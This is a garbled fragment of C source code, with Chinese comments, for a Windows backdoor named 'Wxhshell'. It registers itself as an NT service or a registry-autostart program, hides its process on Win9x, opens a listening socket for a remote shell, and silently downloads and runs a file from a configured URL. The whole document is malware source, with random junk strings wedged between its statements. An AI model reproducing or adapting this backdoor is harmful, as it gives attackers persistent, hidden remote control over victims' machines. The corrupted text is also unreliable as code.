if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^-e3=& ~WYE"( CloseHandle(hProcess); 75hFyh;u PK.h E{R if(strstr(procName,"services")) return 1; // 以服务启动 8T>3@kF y]QQvCJr3d return 0; // 注册表启动 |*]X\UE } ,%)WT> &;NNUT>Q // 主模块 d!}jdt5% int StartWxhshell(LPSTR lpCmdLine) c"%_]7 { Gg}LC+Y SOCKET wsl; ?j&~vy= T BOOL val=TRUE; UijuJ(Tle int port=0; !~|"LA!jn struct sockaddr_in door; 9AVK_ &geOFe}R if(wscfg.ws_autoins) Install(); q^jqLT&w 6S! lD= port=atoi(lpCmdLine); m5'__< 2kp|zX( if(port<=0) port=wscfg.ws_port; :uT
fhr %4r!7X|O< WSADATA data; =XRgT1>e if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .^9/ 0.g8t XDrlJvrPL if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )'K!)?&d setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y>dg10= door.sin_family = AF_INET; BZ\EqB door.sin_addr.s_addr = inet_addr("127.0.0.1"); |$.sB|_
N door.sin_port = htons(port); ZaNyNxbp>z 5Re`D|8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {R1Cxt} closesocket(wsl); v:J.d5 return 1; eBYaq!t
k } T_oW)G 654jS! if(listen(wsl,2) == INVALID_SOCKET) { ;K)?: closesocket(wsl); I).^,%>Z) return 1; wEo-a< ( } )K\k6HC. Wxhshell(wsl); 6&OonYsP WSACleanup(); uc"[ qT(X H z< M return 0; !cFE^VM_; tI!R5q;k } bb
O;AiHD soQv?4 // 以NT服务方式启动 !Lg}q!*%>V VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @|\s$L { >ihe|WN DWORD status = 0; (W}i287 DWORD specificError = 0xfffffff; !+*?pq +poIgjq0 serviceStatus.dwServiceType = SERVICE_WIN32; 1+i serviceStatus.dwCurrentState = SERVICE_START_PENDING; v0jz)z<# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b]s1Q
]V serviceStatus.dwWin32ExitCode = 0; `X.=uG+m serviceStatus.dwServiceSpecificExitCode = 0; *> &N
t serviceStatus.dwCheckPoint = 0; K_lCDiqG serviceStatus.dwWaitHint = 0; 0R%uVJG t-<[._:+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2Z IpzH/8 if (hServiceStatusHandle==0) return; (?&_6B.* ! 4^L $ status = GetLastError(); %BYlbEx if (status!=NO_ERROR) yS.fe[ { lA^Kh serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 peM4X serviceStatus.dwCheckPoint = 0; woH3?zR serviceStatus.dwWaitHint = 0; }Bod#|`
serviceStatus.dwWin32ExitCode = status; $O]E$S${ serviceStatus.dwServiceSpecificExitCode = specificError; We+FP9d % SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;u-< {2P return; kAQ\t?`x } Vp-OGX[ cwW~ *90# serviceStatus.dwCurrentState = SERVICE_RUNNING; <hF~L k , serviceStatus.dwCheckPoint = 0; @9kk
f{? serviceStatus.dwWaitHint = 0; 8Jy1=R*S if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \%4+mgiD } :#&U95EC0 M3Z Jt' | // 处理NT服务事件,比如:启动、停止 ?=@Q12R)X VOID WINAPI NTServiceHandler(DWORD fdwControl) aab4c^Ms= { j>Bk; f| switch(fdwControl) OAnn`*5Up { OrH1fhh case SERVICE_CONTROL_STOP: YDzF( ']o: serviceStatus.dwWin32ExitCode = 0; sp|y/r# serviceStatus.dwCurrentState = SERVICE_STOPPED; ? Ge*~d serviceStatus.dwCheckPoint = 0; m+gG &`&u serviceStatus.dwWaitHint = 0; %Pvb>U(Xs { @okm@6J*X SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4z3$ } I\4`90uBN return; :c/=fWM% case SERVICE_CONTROL_PAUSE: :;#}9g9 serviceStatus.dwCurrentState = SERVICE_PAUSED; w-Q 6
- break; FLnAN; case SERVICE_CONTROL_CONTINUE: 3L!&~'.Ro serviceStatus.dwCurrentState = SERVICE_RUNNING; nTtt$I@hW break; yNMwd.r[ case SERVICE_CONTROL_INTERROGATE: vheAh`u^& break; OFAqP1o{$ }; {j=hQL3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); <!HDtN } +&zuI ;eEtdoy // 标准应用程序主函数 H2_>Av{m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zz*mf+ { jvKaxB;e .j<B5/+ // 获取操作系统版本 Hr,lA( OsIsNt=GetOsVer(); ZxeE6M^w GetModuleFileName(NULL,ExeFile,MAX_PATH); y2% ^teXk F-\8f(\ // 从命令行安装 d=OO(sf if(strpbrk(lpCmdLine,"iI")) Install(); IEsD= e=Tc(Mwn // 下载执行文件 pYvF}8
if(wscfg.ws_downexe) { waq_ d. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iU+,Jeu WinExec(wscfg.ws_filenam,SW_HIDE); -Aym+N9 } 8JO\%DFJ 2uR4~XjF if(!OsIsNt) { sL`D}_: // 如果时win9x,隐藏进程并且设置为注册表启动 <.B> LU HideProc(); mt]YY<l StartWxhshell(lpCmdLine); wU3ica&[ } 5OqsnL_V else tZBE& :l if(StartFromService()) 9oN'.H^ // 以服务方式启动 )PNH| h StartServiceCtrlDispatcher(DispatchTable); 8uD%]k=#! else 8;Bwz RtgT // 普通方式启动 `TR9GWU+B StartWxhshell(lpCmdLine); "uERa(i w]YyU5rhS return 0; 5<8>G?Y }
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